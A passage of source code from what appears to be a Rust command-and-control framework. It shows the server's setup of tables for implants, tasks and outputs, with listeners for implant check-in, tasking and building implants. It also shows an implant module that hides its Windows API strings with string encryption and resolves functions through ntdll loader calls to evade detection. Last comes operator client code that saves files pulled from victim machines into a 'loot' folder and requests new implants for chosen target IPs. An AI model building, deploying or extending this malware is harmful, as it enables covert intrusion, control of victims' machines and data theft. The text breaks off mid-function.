database_url = "./my_database.db"; 144 | let db = Arc::new(Mutex::new( 145 | Connection::open(&database_url).expect("Cannot open database"), 146 | )); 147 | 148 | let mut settings = Config::default(); 149 | settings 150 | .merge(File::with_name("config")) 151 | .expect("Failed to open configuration file"); 152 | 153 | let users: Vec = settings 154 | .get_array("users") 155 | .unwrap() 156 | .into_iter() 157 | .map(|u| u.try_into().unwrap()) 158 | .collect(); 159 | // Create table and populate it with default username and password 160 | { 161 | let db = db.lock().unwrap(); 162 | db.execute( 163 | "CREATE TABLE IF NOT EXISTS users ( 164 | username TEXT PRIMARY KEY, 165 | password TEXT NOT NULL 166 | )", 167 | params![], 168 | ) 169 | .expect("Failed to create table"); 170 | 171 | //for every user in the config file, insert the username and password into the database 172 | for user in users { 173 | let hashed_password = 174 | hash(user.password, DEFAULT_COST).expect("Failed to hash password"); 175 | 176 | db.execute( 177 | "INSERT OR REPLACE INTO users (username, password) VALUES (?1, ?2)", 178 | params![user.username, hashed_password], 179 | ) 180 | .expect("Failed to insert data"); 181 | } 182 | 183 | //let hashed_password = hash("forge", DEFAULT_COST).expect("Failed to hash password"); 184 | /* 185 | db.execute( 186 | "INSERT OR REPLACE INTO users (username, password) VALUES (?1, ?2)", 187 | params!["forge", hashed_password], 188 | ) 189 | .expect("Failed to insert data"); 190 | */ 191 | // Create table for unique identifiers 192 | db.execute( 193 | "CREATE TABLE IF NOT EXISTS unique_identifiers ( 194 | id TEXT PRIMARY KEY 195 | )", 196 | params![], 197 | ) 198 | .expect("Failed to create table for unique identifiers"); 199 | 200 | //add a default adversary id to the database 201 | 202 | /* 203 | db.execute( 204 | "INSERT OR REPLACE INTO unique_identifiers (id) VALUES (?1)", 205 | params!["adversary"], 206 | ) 207 | .expect("Failed to insert data"); 208 | */ 209 | 210 | // DEV NOTE: removed a default value "adversary" from unique ids. 211 | // this is part of moving from testing to public release, so if i broke stuff, check back here 212 | 213 | // Create a table for Imps to be logged post check-in 214 | db.execute( 215 | "CREATE TABLE IF NOT EXISTS imps ( 216 | id INTEGER PRIMARY KEY, 217 | session TEXT NOT NULL, 218 | ip TEXT NOT NULL, 219 | username TEXT NOT NULL, 220 | domain TEXT NOT NULL, 221 | os TEXT NOT NULL, 222 | imp_pid TEXT NOT NULL, 223 | process_name TEXT NOT NULL, 224 | sleep TEXT NOT NULL, 225 | last_check_in TEXT NOT NULL 226 | )", 227 | params![], 228 | ) 229 | .expect("Failed to create table for imps"); 230 | //make a route for imps to send their info to, post checkin 231 | 232 | // Create table for tokens 233 | db.execute( 234 | "CREATE TABLE IF NOT EXISTS tokens ( 235 | token TEXT PRIMARY KEY 236 | )", 237 | params![], 238 | ) 239 | .expect("Failed to create table for tokens"); 240 | 241 | //TESTING: removing from public release. check back if broke 242 | 243 | /* 244 | // insert a token to be used for testing 245 | db.execute( 246 | "INSERT OR REPLACE INTO tokens (token) VALUES (?1)", 247 | params!["test_token"], 248 | ) 249 | .expect("Failed to insert token"); 250 | */ 251 | //END TESTING 252 | 253 | // Create table for tasks 254 | db.execute( 255 | "CREATE TABLE IF NOT EXISTS tasks ( 256 | token TEXT NOT NULL, 257 | task TEXT NOT NULL 258 | )", 259 | params![], 260 | ) 261 | .expect("Failed to create table for tasks"); 262 | 263 | // Create table for imp_tokens 264 | db.execute( 265 | "CREATE TABLE IF NOT EXISTS imp_tokens ( 266 | token TEXT PRIMARY KEY 267 | )", 268 | params![], 269 | ) 270 | .expect("Failed to create table for imp_tokens"); 271 | 272 | //Create table for imp_outputs 273 | db.execute( 274 | "CREATE TABLE IF NOT EXISTS outputs ( 275 | id INTEGER PRIMARY KEY, 276 | token TEXT NOT NULL, 277 | task TEXT NOT NULL, 278 | output TEXT NOT NULL 279 | )", 280 | params![], 281 | ) 282 | .expect("Failed to create table for outputs"); 283 | } 284 | //end init db 285 | 286 | let db_443 = Arc::clone(&db); 287 | // read build toolchain pin and set env for child processes (cross) 288 | let build_toolchain: String = settings 289 | .get("build.toolchain") 290 | .unwrap_or_else(|_| String::from("nightly-2025-03-03")); 291 | std::env::set_var("RUSTUP_TOOLCHAIN", &build_toolchain); 292 | //let builder_443 = builder.clone(); 293 | 294 | //placing imports here during testing 295 | use std::thread; 296 | //use actix_rt::System; 297 | 298 | /* 299 | let mut settings = Config::default(); 300 | settings 301 | .merge(File::with_name("config")) 302 | .expect("Failed to open configuration file"); 303 | */ 304 | 305 | // Add these lines to read the port numbers 306 | let implant_port: u16 = settings 307 | .get("server.implant_port") 308 | .expect("Failed to get implant_port from config"); 309 | let conduit_port: u16 = settings 310 | .get("server.conduit_port") 311 | .expect("Failed to get conduit_port from config"); 312 | 313 | // server for port 443 314 | let implant_server = thread::spawn(move || { 315 | let sys = actix_rt::System::new; 316 | let srv = HttpServer::new(move || { 317 | let logger = Logger::default(); // Use the default actix_web logger 318 | let app = App::new() 319 | .wrap(logger) 320 | .app_data(Data::new(db_443.clone())) 321 | .route("/js", web::post().to(routes::check_in)) //protected 322 | .route("/index", web::post().to(routes::index)) //protected 323 | .route("/return_out", web::post().to(routes::return_out)) //protected 324 | .route("/download", web::get().to(download_file)); //needs auth tested 325 | app 326 | }) 327 | .bind_openssl(format!("0.0.0.0:{}", implant_port), builder_443)? 328 | .run(); 329 | sys().block_on(srv) 330 | }); 331 | 332 | let db_8443 = Arc::clone(&db); 333 | //let builder_8443 = builder.clone(); 334 | 335 | //server for port 8443 336 | let conduit_server = thread::spawn(move || { 337 | let sys = actix_rt::System::new; 338 | let srv = HttpServer::new(move || { 339 | let logger = Logger::default(); // Use the default actix_web logger 340 | let app = App::new() 341 | .wrap(logger) 342 | .app_data(Data::new(db_8443.clone())) 343 | //.app_data(Data::new(AppState { uploads: Mutex::new(HashMap::new()) })) // Add this line 344 | //i dont remember what the above line was for 345 | .app_data(web::PayloadConfig::new(10 * 1024 * 1024)) // 10 Megabytes 346 | .route("/imps", web::get().to(routes::get_connected_imps)) //has auth 347 | .route("/issue_task", web::post().to(routes::issue_task)) //has auth 348 | .route("/authenticate", web::post().to(routes::authenticate)) //protected 349 | .route("/build_imp", web::post().to(routes::build_imp)) //has auth 350 | .route("/retrieve_out", web::get().to(routes::retrieve_out)) //cant recall why there is 2 of these 351 | .route("/retrieve_all_out", web::get().to(routes::retrieve_all_out)) //cant recall why there is 2 of these 352 | //i think retrieve_all_out is because outputs were not being removed from the db and kept repeating. i dont recall 353 | .route("/bofload", web::post().to(routes::receive_chunk)); //needs auth tested 354 | app 355 | }) 356 | .bind_openssl(format!("0.0.0.0:{}", conduit_port), builder_8443)? 357 | .run(); 358 | sys().block_on(srv) 359 | }); 360 | 361 | let _ = implant_server.join().unwrap()?; 362 | let _ = conduit_server.join().unwrap()?; 363 | 364 | Ok(()) 365 | } 366 | 367 | fn load_key_from_file(path: &str) -> io::Result> { 368 | std::fs::read(path) 369 | } 370 | 371 | fn save_key_to_file(key: &[u8], path: &str) -> io::Result<()> { 372 | let mut file = stdFile::create(path)?; 373 | file.write_all(key)?; 374 | Ok(()) 375 | } 376 | 377 | fn generate_aes_key() -> io::Result> { 378 | let mut aes_key = vec![0; 32]; // 256-bit key for AES-256 379 | rand_bytes(&mut aes_key).map_err(|e| io::Error::new(io::ErrorKind::Other, e))?; 380 | Ok(aes_key) 381 | } 382 | -------------------------------------------------------------------------------- /modules_wip/whoami/src/lib.rs: -------------------------------------------------------------------------------- 1 | use winapi::{ 2 | shared::{ 3 | minwindef::{BOOL, DWORD}, 4 | ntdef::{LPCSTR, LPWSTR, NTSTATUS, PULONG, PVOID, ULONG}, 5 | }, 6 | um::winnt::{TokenPrivileges, TOKEN_PRIVILEGES}}; 7 | 8 | use ntapi::ntldr::{LdrGetDllHandle, LdrGetProcedureAddress}; 9 | use ntapi::ntrtl::{RtlInitUnicodeString, RtlUnicodeStringToAnsiString}; 10 | 11 | use std::ffi::OsStr; 12 | use std::os::windows::ffi::OsStrExt; 13 | 14 | use winapi::ctypes::c_void as winapi_c_void; 15 | use winapi::shared::minwindef::{FARPROC, HMODULE}; 16 | use winapi::shared::ntdef::{STRING, UNICODE_STRING}; 17 | use winapi::shared::ntstatus::STATUS_SUCCESS; 18 | use std::ptr; 19 | use winapi::shared::minwindef::LPDWORD; 20 | use winapi::shared::ntdef::{HANDLE, LPCWSTR, PHANDLE}; 21 | use winapi::um::winnt::TokenUser; 22 | use winapi::um::winnt::{PSID_NAME_USE, TOKEN_INFORMATION_CLASS, TOKEN_QUERY, TOKEN_USER}; 23 | //use windows_sys::Win32::Foundation::BOOL; 24 | use windows_sys::Win32::Foundation::PSID; 25 | use winapi::um::winnt::LUID; 26 | 27 | #[macro_use] 28 | extern crate litcrypt; 29 | 30 | use_litcrypt!("ageofmachine"); 31 | 32 | // Function to get a handle to a DLL module 33 | fn ldr_get_dll(dll_name: &str) -> HMODULE { 34 | // Initialize a null pointer to a void type 35 | let mut handle: *mut winapi_c_void = std::ptr::null_mut(); 36 | // Initialize a UNICODE_STRING structure 37 | let mut unicode_string = UNICODE_STRING { 38 | Length: 0, 39 | MaximumLength: 0, 40 | Buffer: std::ptr::null_mut(), 41 | }; 42 | // Convert the DLL name to a wide string (UTF-16) 43 | let dll_name_wide: Vec = OsStr::new(dll_name).encode_wide().chain(Some(0)).collect(); 44 | unsafe { 45 | // Initialize the UNICODE_STRING with the DLL name 46 | RtlInitUnicodeString(&mut unicode_string, dll_name_wide.as_ptr()); 47 | // Get a handle to the DLL 48 | let status = LdrGetDllHandle( 49 | std::ptr::null_mut(), 50 | std::ptr::null_mut(), 51 | &mut unicode_string as *mut UNICODE_STRING, 52 | &mut handle, 53 | ); 54 | // If the function fails or the handle is null, return null 55 | if status != STATUS_SUCCESS || handle.is_null() { 56 | return std::ptr::null_mut(); 57 | } 58 | } 59 | // Return the handle to the DLL 60 | handle as HMODULE 61 | } 62 | 63 | // Function to get a function address from a DLL module 64 | fn ldr_get_fn(dll: HMODULE, fn_name: &str) -> FARPROC { 65 | // Initialize a null pointer to a void type 66 | let mut func: *mut winapi_c_void = std::ptr::null_mut(); 67 | // Initialize an ANSI_STRING structure 68 | let mut ansi_string = STRING { 69 | Length: 0, 70 | MaximumLength: 0, 71 | Buffer: std::ptr::null_mut(), 72 | }; 73 | // Initialize a UNICODE_STRING structure 74 | let mut unicode_string = UNICODE_STRING { 75 | Length: 0, 76 | MaximumLength: 0, 77 | Buffer: std::ptr::null_mut(), 78 | }; 79 | // Convert the function name to a wide string (UTF-16) 80 | let fn_name_wide: Vec = OsStr::new(fn_name).encode_wide().chain(Some(0)).collect(); 81 | unsafe { 82 | // Initialize the UNICODE_STRING with the function name 83 | RtlInitUnicodeString(&mut unicode_string, fn_name_wide.as_ptr()); 84 | // Convert the UNICODE_STRING to an ANSI_STRING 85 | RtlUnicodeStringToAnsiString(&mut ansi_string, &unicode_string, 1); 86 | // Get the address of the function 87 | let status = LdrGetProcedureAddress( 88 | dll as *mut winapi_c_void, 89 | &mut ansi_string as *mut STRING, 90 | 0, 91 | &mut func, 92 | ); 93 | // If the function fails or the function address is null, return null 94 | if status != STATUS_SUCCESS || func.is_null() { 95 | return std::ptr::null_mut(); 96 | } 97 | } 98 | // Return the function address 99 | func as FARPROC 100 | } 101 | 102 | // This function gets the name of a privilege given its LUID (Locally Unique Identifier). 103 | fn get_privilege_name(luid: LUID) -> String { 104 | // Initialize the length of the name to 0. 105 | let mut name_len = 0; 106 | 107 | // Load the kernel32.dll library. 108 | let kernel32 = ldr_get_dll(&lc!("kernel32.dll")); 109 | 110 | // Get the address of the LoadLibraryA function from kernel32.dll. 111 | let load_library_a: unsafe extern "system" fn(lpLibFileName: *const i8) -> HMODULE = 112 | unsafe { std::mem::transmute(ldr_get_fn(kernel32, &lc!("LoadLibraryA"))) }; 113 | 114 | // Get the address of the GetProcAddress function from kernel32.dll. 115 | let get_proc_address: unsafe extern "system" fn( 116 | hModule: HMODULE, 117 | lpProcName: *const i8, 118 | ) -> FARPROC = unsafe { std::mem::transmute(ldr_get_fn(kernel32, &lc!("GetProcAddress"))) }; 119 | 120 | // Load the Advapi32.dll library. 121 | let advapi32 = unsafe { load_library_a("Advapi32.dll\0".as_ptr() as *const i8) }; 122 | if advapi32.is_null() { 123 | return String::new(); 124 | } 125 | 126 | // Get the address of the LookupPrivilegeNameW function from Advapi32.dll. 127 | let lookup_privilege_name_w_name = "LookupPrivilegeNameW\0".as_ptr() as *const i8; 128 | let lookup_privilege_name_w: unsafe extern "system" fn( 129 | LPCSTR, 130 | *const LUID, 131 | LPWSTR, 132 | PULONG, 133 | ) -> BOOL = 134 | unsafe { std::mem::transmute(get_proc_address(advapi32, lookup_privilege_name_w_name)) }; 135 | 136 | // First call to LookupPrivilegeNameW to get the required buffer size. 137 | unsafe { 138 | lookup_privilege_name_w(std::ptr::null(), &luid, std::ptr::null_mut(), &mut name_len); 139 | } 140 | 141 | // Create a buffer of the required size. 142 | let mut name = vec![0u16; name_len as usize]; 143 | 144 | // Second call to LookupPrivilegeNameW to get the privilege name. 145 | let success = unsafe { 146 | lookup_privilege_name_w(std::ptr::null(), &luid, name.as_mut_ptr(), &mut name_len) 147 | }; 148 | 149 | // If the call fails, return an error message. 150 | if success == 0 { 151 | return "LookupPrivilegeNameW failed.".to_string(); 152 | } 153 | 154 | // Convert the name from UTF-16 to a Rust String and return it. 155 | String::from_utf16(&name).unwrap_or_else(|_| String::new()) 156 | } 157 | //TODO: copy this module into the windows_noldr implant and convert it to using noldr functions 158 | // This function gets the username of the current user using the NTAPI. 159 | pub fn get_username_ntapi() -> Result { 160 | unsafe { 161 | // Load the kernel32.dll and ntdll.dll libraries. 162 | let kernel32 = ldr_get_dll(&lc!("kernel32.dll")); 163 | if kernel32.is_null() { 164 | return Err("Failed to load kernel32.dll"); 165 | } 166 | 167 | let ntdll = ldr_get_dll(&lc!("ntdll.dll")); 168 | if ntdll.is_null() { 169 | return Err("Failed to load ntdll.dll"); 170 | } 171 | 172 | // Get the addresses of the LoadLibraryA and GetProcAddress functions from kernel32.dll. 173 | let load_library_a: unsafe extern "system" fn(lpLibFileName: *const i8) -> HMODULE = 174 | std::mem::transmute(ldr_get_fn(kernel32, &lc!("LoadLibraryA"))); 175 | 176 | let get_proc_address: unsafe extern "system" fn( 177 | hModule: HMODULE, 178 | lpProcName: *const i8, 179 | ) -> FARPROC = 180 | std::mem::transmute(ldr_get_fn(kernel32, &lc!("GetProcAddress"))); 181 | 182 | // Get the address of the NtOpenProcessToken function from ntdll.dll. 183 | let open_process_token: unsafe extern "system" fn(HANDLE, DWORD, PHANDLE) -> NTSTATUS = 184 | std::mem::transmute(ldr_get_fn(ntdll, &lc!("NtOpenProcessToken"))); 185 | if open_process_token as usize == 0 { 186 | return Err("Failed to get NtOpenProcessToken function pointer"); 187 | } 188 | 189 | // Get the address of the NtQueryInformationToken function from ntdll.dll. 190 | let get_token_information: unsafe extern "system" fn( 191 | HANDLE, 192 | TOKEN_INFORMATION_CLASS, 193 | PVOID, 194 | ULONG, 195 | PULONG, 196 | ) -> NTSTATUS = std::mem::transmute(ldr_get_fn(ntdll, &lc!("NtQueryInformationToken"))); 197 | 198 | // Load the advapi32.dll library. 199 | let advapi32 = load_library_a("Advapi32.dll\0".as_ptr() as *const i8); 200 | if advapi32.is_null() { 201 | return Err("Failed to load advapi32.dll"); 202 | } 203 | 204 | // Get the address of the LookupAccountSidW function from advapi32.dll. 205 | let lookup_account_sid_w_name = "LookupAccountSidW\0".as_ptr() as *const i8; 206 | let lookup_account_sid_w: unsafe extern "system" fn( 207 | LPCWSTR, 208 | PSID, 209 | LPWSTR, 210 | LPDWORD, 211 | LPWSTR, 212 | LPDWORD, 213 | PSID_NAME_USE, 214 | ) -> BOOL = std::mem::transmute(get_proc_address(advapi32, lookup_account_sid_w_name)); 215 | 216 | if lookup_account_sid_w as usize == 0 { 217 | return Err("Failed to get LookupAccountSidW function pointer"); 218 | } 219 | 220 | // Get the address of the GetCurrentProcess function from kernel32.dll. 221 | let get_current_process: unsafe extern "system" fn() -> HANDLE = 222 | std::mem::transmute(ldr_get_fn(kernel32, &lc!("GetCurrentProcess"))); 223 | if get_current_process as usize == 0 { 224 | return Err("Failed to get GetCurrentProcess function pointer"); 225 | } 226 | 227 | // Get a handle to the current process. 228 | let current_process = get_current_process(); 229 | if current_process.is_null() { 230 | return Err("GetCurrentProcess failed"); 231 | } 232 | 233 | // Open a handle to the access token associated with the current process. 234 | let mut token: HANDLE = ptr::null_mut(); 235 | let status = open_process_token(current_process, TOKEN_QUERY, &mut token); 236 | if status != 0x00000000 { 237 | return Err("NtOpenProcessToken failed"); 238 | } 239 | 240 | // Initialize the length of the return value to 0. 241 | let mut return_length = 0; 242 | 243 | // First call to GetTokenInformation to get the required buffer size. 244 | if get_token_information(token, TokenUser, ptr::null_mut(), 0, &mut return_length) == 0 { 245 | return Err("First GetTokenInformation failed.".into()); 246 | } 247 | 248 | // Create a buffer of the required size. 249 | let mut token_user_buffer = vec![0u8; return_length as usize]; 250 | 251 | // Second call to GetTokenInformation to get the TOKEN_USER. 252 | if get_token_information( 253 | token, 254 | TokenUser, 255 | token_user_buffer.as_mut_ptr() as *mut winapi_c_void, 256 | return_length, 257 | &mut return_length, 258 | ) != 0 { 259 | return Err("Second GetTokenInformation failed.".into()); 260 | } 261 | 262 | // Create a buffer of the required size. 263 | let _token_privileges_buffer = vec![0u8; return_length as usize]; 264 | 265 | // Third call to GetTokenInformation to get the required buffer size. 266 | let mut return_length: DWORD = 0; 267 | if get_token_information( 268 | token, 269 | TokenPrivileges, 270 | ptr::null_mut(), 271 | 0, 272 | &mut return_length, 273 | ) == 0 { 274 | return Err("Third GetTokenInformation for privileges failed.".into()); 275 | } 276 | 277 | // Create a buffer of the required size. 278 | let mut token_privileges_buffer = vec![0u8; return_length as usize]; 279 | 280 | // Fourth call to GetTokenInformation to get the TOKEN_PRIVILEGES. 281 | if get_token_information( 282 | token, 283 | TokenPrivileges, 284 | token_privileges_buffer.as_mut_ptr() as *mut winapi_c_void, 285 | return_length, 286 | &mut return_length, 287 | ) != 0 { 288 | return Err("Fourth GetTokenInformation for privileges failed.".into()); 289 | } 290 | let token_privileges = token_privileges_buffer.as_ptr() as *mut TOKEN_PRIVILEGES; 291 | 292 | // Get the count of privileges in the token. 293 | let privilege_count = (*token_privileges).PrivilegeCount; 294 | 295 | // Initialize a string to hold the names of the privileges. 296 | let mut privilege_names = String::new(); 297 | 298 | // For each privilege in the token, get its name and append it to the string. 299 | for i in 0..privilege_count { 300 | let privilege = *(*token_privileges).Privileges.as_ptr().offset(i as isize); 301 | let name = get_privilege_name(privilege.Luid); 302 | privilege_names.push_str(&name); 303 | privilege_names.push_str("\n"); 304 | } 305 | 306 | // Get the SID (Security Identifier) of the user associated with the token. 307 | let token_user = token_user_buffer.as_ptr() as *mut TOKEN_USER; 308 | let user_sid = (*token_user).User.Sid; 309 | 310 | // Initialize buffers to hold the name and domain of the user. 311 | let mut name = [0u16; 256]; 312 | let mut name_len = 256; 313 | let mut domain = [0u16; 256]; 314 | let mut domain_len = 256; 315 | let mut sid_name_use = 0; 316 | 317 | // Call LookupAccountSidW to get the name and domain of the user. 318 | if lookup_account_sid_w( 319 | ptr::null(), 320 | user_sid as PSID, 321 | name.as_mut_ptr(), 322 | &mut name_len, 323 | domain.as_mut_ptr(), 324 | &mut domain_len, 325 | &mut sid_name_use, 326 | ) == 0 327 | { 328 | return Err("LookupAccountSidW failed"); 329 | } 330 | 331 | // Convert the name from UTF-16 to a Rust String. 332 | let username = String::from_utf16_lossy(&name[..name_len as usize]); 333 | 334 | //Convert the domain from UTF-16 to a Rust String. 335 | let domain_name = String::from_utf16_lossy(&domain[..domain_len as usize]); 336 | 337 | //append a \ to the end of the domain name 338 | let domain_name: String = domain_name + "\\"; 339 | 340 | // Append a newline to the end of the username. 341 | let username: String = "\n".to_owned() + &domain_name + &username + "\n"; 342 | 343 | // Combine the username and the privilege names into a single string. 344 | let full_string = format!("{}{}", username, privilege_names); 345 | Ok(full_string) 346 | } 347 | } -------------------------------------------------------------------------------- /conduit/src/commands.rs: -------------------------------------------------------------------------------- 1 | use base64::{ 2 | alphabet, 3 | engine::{self, general_purpose}, 4 | Engine as _, 5 | }; 6 | use reqwest::header::{HeaderMap, HeaderName, HeaderValue}; 7 | use reqwest::{ 8 | header::{CONTENT_TYPE, USER_AGENT}, 9 | ClientBuilder, 10 | }; 11 | use std::{ 12 | error::Error, 13 | fs::File, 14 | io::{Read, Write}, 15 | }; 16 | 17 | use crate::ImpInfo; 18 | 19 | pub async fn retrieve_all_output_with_polling( 20 | imp_info: Vec, 21 | token: &str, 22 | url: &str, 23 | ) -> Result, Box> { 24 | let mut outputs = Vec::new(); 25 | 26 | for imp in imp_info { 27 | let session_id = &imp.session; // Assuming ImpInfo has a session field 28 | match retrieve_all_output(session_id, token, url).await { 29 | Ok(Some(output)) if !output.is_empty() => { 30 | let retrieved_output = 31 | engine::GeneralPurpose::new(&alphabet::URL_SAFE, general_purpose::NO_PAD) 32 | .decode(output.clone()) 33 | .unwrap(); 34 | let decoded_output = String::from_utf8_lossy(&retrieved_output).to_string(); 35 | //let output = decoded_output.replace("\n", ""); 36 | //if output contains the string "getfile", then we need to grab the last string after spaces, which is still base64 encoded and decode it 37 | //this works! now I think we will change it to also save the content to a local file - TODONEXT 38 | if decoded_output.contains("getfile") { 39 | //grab the still base64 encoded string from the decoded output 40 | let b64output = decoded_output.split_whitespace().last().unwrap(); 41 | //decode the base64 encoded string 42 | let retrieved_output = 43 | engine::GeneralPurpose::new(&alphabet::URL_SAFE, general_purpose::NO_PAD) 44 | .decode(b64output) 45 | .unwrap(); 46 | //since we have to return a string, once we have saved the content to a new file, then we can just send a string with the 47 | // file name and the path to the file, and maybe a success message 48 | //first get the file name from the decoded output 49 | //i think the filename is going to be the third word in the decoded output 50 | let fullfilepath = decoded_output.split_whitespace().nth(2).unwrap(); 51 | //strip a colon from the beginning of the string 52 | //let fullfilepath = fullfilepath.strip_prefix(":").unwrap(); 53 | //print the full file path to the console 54 | //println!("Full file path: {}", fullfilepath); 55 | //we need to get just the filename from the fullfilepath 56 | let filename = fullfilepath.split(r"\").last().unwrap(); 57 | //strip the colon from the end of the string 58 | let filename = filename.strip_suffix(":").unwrap(); 59 | //now we need to save the file to the local directory 60 | //print the file name to the console 61 | //println!("File name: {}", filename); 62 | //append loot/ to the filename 63 | let filename = "loot/".to_string() + filename; 64 | let fileclone = filename.clone(); 65 | let mut file = File::create(filename).unwrap(); 66 | file.write_all(&retrieved_output).unwrap(); 67 | //now we can add the filename to the outputs vector 68 | //lets push "File saved to: " + filename + " in the outputs vector 69 | let mut file_saved = "File saved to: ".to_string(); 70 | file_saved.push_str(fileclone.as_str()); 71 | outputs.push(file_saved); 72 | //let b64_decoded_output = String::from_utf8_lossy(&retrieved_output).to_string(); 73 | //outputs.push(b64_decoded_output); 74 | } else { 75 | outputs.push(decoded_output); 76 | //outputs.push(output), 77 | } 78 | } 79 | Ok(None) => { 80 | // Output not available yet, wait and retry 81 | // You might want to implement a retry mechanism here 82 | } 83 | Err(e) => return Err(e), 84 | _ => {} 85 | } 86 | } 87 | 88 | //println!("outputs: {:?}", outputs); 89 | let outputs: Vec = outputs.iter().map(|s| s.to_string()).collect(); 90 | //check outputs for presence of double backslashes and replace them with single backslashes 91 | let outputs: Vec = outputs.iter().map(|s| s.replace(r"\\", r"\")).collect(); 92 | 93 | Ok(outputs) 94 | } 95 | 96 | pub async fn retrieve_all_output( 97 | _session_id: &str, 98 | token: &str, 99 | url: &str, 100 | ) -> Result, Box> { 101 | let url = format!("https://{}/retrieve_all_out", url); 102 | //println!("task_name: {}", task_name); 103 | //println!("imp_token: {}", session_id); 104 | //println!("token: {}", token); 105 | //println!("url: {}", url); 106 | 107 | let client = ClientBuilder::new() 108 | .danger_accept_invalid_certs(true) 109 | .build() 110 | .map_err(|_| { 111 | Box::new(std::io::Error::new( 112 | std::io::ErrorKind::Other, 113 | "Failed to build the client", 114 | )) 115 | }); 116 | 117 | let mut headers = HeaderMap::new(); 118 | headers.insert( 119 | HeaderName::from_static("x-token"), 120 | HeaderValue::from_str(token).map_err(|e| Box::new(e) as Box)?, 121 | ); 122 | 123 | let client = client.map_err(|e| Box::new(e) as Box)?; 124 | let res = client.get(&url).headers(headers).send().await; 125 | 126 | match res { 127 | Ok(response) => { 128 | let output = response.text().await.unwrap(); // Unwrap the Result to get the inner String value 129 | //println!("output: {}", output); 130 | Ok(Some(output)) 131 | } 132 | Err(e) => Err(Box::new(e) as Box), 133 | } 134 | } 135 | 136 | //gonna start putting new commands down here 137 | 138 | pub fn read_and_encode(args: Vec<&str>) -> String { 139 | const CUSTOM_ENGINE: engine::GeneralPurpose = 140 | engine::GeneralPurpose::new(&alphabet::URL_SAFE, general_purpose::NO_PAD); 141 | let mut _file_path = ""; 142 | if args.len() > 1 { 143 | _file_path = args[1]; 144 | 145 | let mut file = match File::open(_file_path) { 146 | Ok(file) => file, 147 | Err(e) => return format!("Error opening file: {}", e), 148 | }; 149 | let mut buffer = Vec::new(); 150 | if let Err(e) = file.read_to_end(&mut buffer) { 151 | return format!("Error reading file: {}", e); 152 | } 153 | let content = CUSTOM_ENGINE.encode(&buffer); 154 | 155 | //convert file_path to a string 156 | let file_path = _file_path.to_string(); 157 | 158 | //prepend the filepath to the content 159 | let content = file_path + " " + &content; 160 | 161 | content 162 | } 163 | //else return an error 164 | else { 165 | return "Error: No file path provided".to_string(); 166 | } 167 | } 168 | /* 169 | pub fn read_and_send(args: Vec<&str>) -> String { 170 | const CUSTOM_ENGINE: engine::GeneralPurpose = engine::GeneralPurpose::new(&alphabet::STANDARD_NO_PAD, general_purpose::NO_PAD); 171 | let mut _file_path = ""; 172 | if args.len() > 1 { 173 | _file_path = args[1]; 174 | 175 | let mut file = match File::open(_file_path) { 176 | Ok(file) => file, 177 | Err(e) => return format!("Error opening file: {}", e), 178 | }; 179 | let mut buffer = Vec::new(); 180 | if let Err(e) = file.read_to_end(&mut buffer) { 181 | return format!("Error reading file: {}", e); 182 | } 183 | let content = String::from_utf8_lossy(&buffer); 184 | 185 | //println!("content: {}", content); 186 | 187 | //convert file_path to a string 188 | let file_path = _file_path.to_string(); 189 | 190 | //prepend the filepath to the content 191 | let content = file_path + " " + &content; 192 | 193 | content 194 | } 195 | //else return an error 196 | else { 197 | return "Error: No file path provided".to_string(); 198 | } 199 | 200 | } 201 | */ 202 | //function to hit our server api build_imp for generating a new imp 203 | use tokio::fs::File as tokiofile; 204 | use tokio::io::AsyncWriteExt; 205 | 206 | pub async fn build( 207 | token: &str, 208 | url: &str, 209 | target: &str, 210 | target_ip: &str, 211 | target_port: &str, 212 | tsleep: &str, 213 | format: &str, 214 | jitter: &str, 215 | ) -> Result> { 216 | let url = format!("https://{}/build_imp", url); 217 | let client = ClientBuilder::new() 218 | .danger_accept_invalid_certs(true) 219 | .build() 220 | .map_err(|_| { 221 | Box::new(std::io::Error::new( 222 | std::io::ErrorKind::Other, 223 | "Failed to build the client", 224 | )) 225 | })?; 226 | 227 | let mut headers = HeaderMap::new(); 228 | headers.insert( 229 | HeaderName::from_static("x-token"), 230 | HeaderValue::from_str(token).map_err(|e| Box::new(e) as Box)?, 231 | ); 232 | 233 | headers.insert( 234 | HeaderName::from_static("x-target"), 235 | HeaderValue::from_str(target).map_err(|e| Box::new(e) as Box)?, 236 | ); 237 | 238 | //lets also specify a target ip and target port for the imp, which the server will declare as environment variables 239 | //also sleep as tsleep 240 | headers.insert( 241 | HeaderName::from_static("x-target-ip"), 242 | HeaderValue::from_str(target_ip) 243 | .map_err(|e| Box::new(e) as Box)?, 244 | ); 245 | 246 | headers.insert( 247 | HeaderName::from_static("x-target-port"), 248 | HeaderValue::from_str(target_port) 249 | .map_err(|e| Box::new(e) as Box)?, 250 | ); 251 | 252 | headers.insert( 253 | HeaderName::from_static("x-tsleep"), 254 | HeaderValue::from_str(tsleep).map_err(|e| Box::new(e) as Box)?, 255 | ); 256 | headers.insert( 257 | HeaderName::from_static("x-format"), 258 | HeaderValue::from_str(format).map_err(|e| Box::new(e) as Box)?, 259 | ); 260 | headers.insert( 261 | HeaderName::from_static("x-jitter"), 262 | HeaderValue::from_str(jitter).map_err(|e| Box::new(e) as Box)?, 263 | ); 264 | 265 | let res = client 266 | .post(&url) 267 | .headers(headers) 268 | .send() 269 | .await 270 | .map_err(|e| Box::new(e) as Box)?; 271 | 272 | if !res.status().is_success() { 273 | return Err(Box::new(std::io::Error::new( 274 | std::io::ErrorKind::Other, 275 | format!("Server returned error: {}", res.status()), 276 | ))); 277 | } 278 | 279 | let bytes = res 280 | .bytes() 281 | .await 282 | .map_err(|e| Box::new(e) as Box)?; 283 | 284 | // Write the bytes to a file 285 | //the file format depends on the target 286 | //if the target is "windows", then the file format is .exe 287 | //if the target is "linux", then the file format is .elf, but just don't add the file extension if linux 288 | //there is no mac right now 289 | //check if the target is windows or linux and add the appropriate file extension 290 | 291 | //if the target is windows, then add the .exe or .dll file extension 292 | //check format and add the appropriate file extension 293 | //format will be bin for exe and dll for dll 294 | //if the format is bin, then add the .exe file extension 295 | //if the format is dll, then add the .dll file extension 296 | //TODO: need to add something to the names. in testing, if windows.exe is already running, then the new windows.exe will not overwrite the old one 297 | //TODO: need to add matching for "windows_noldr" and other builds 298 | let target = if target.contains("windows") { 299 | match format { 300 | "exe" => format!("{}.exe", target), 301 | "dll" => format!("{}.dll", target), 302 | "raw" => format!("{}.bin", target), 303 | _ => format!("{}.exe", target), 304 | } 305 | } else { 306 | target.to_string() 307 | }; 308 | 309 | //if the target is linux, then add the .elf file extension 310 | let target = if target == "linux" { 311 | format!("{}", target) 312 | } else { 313 | 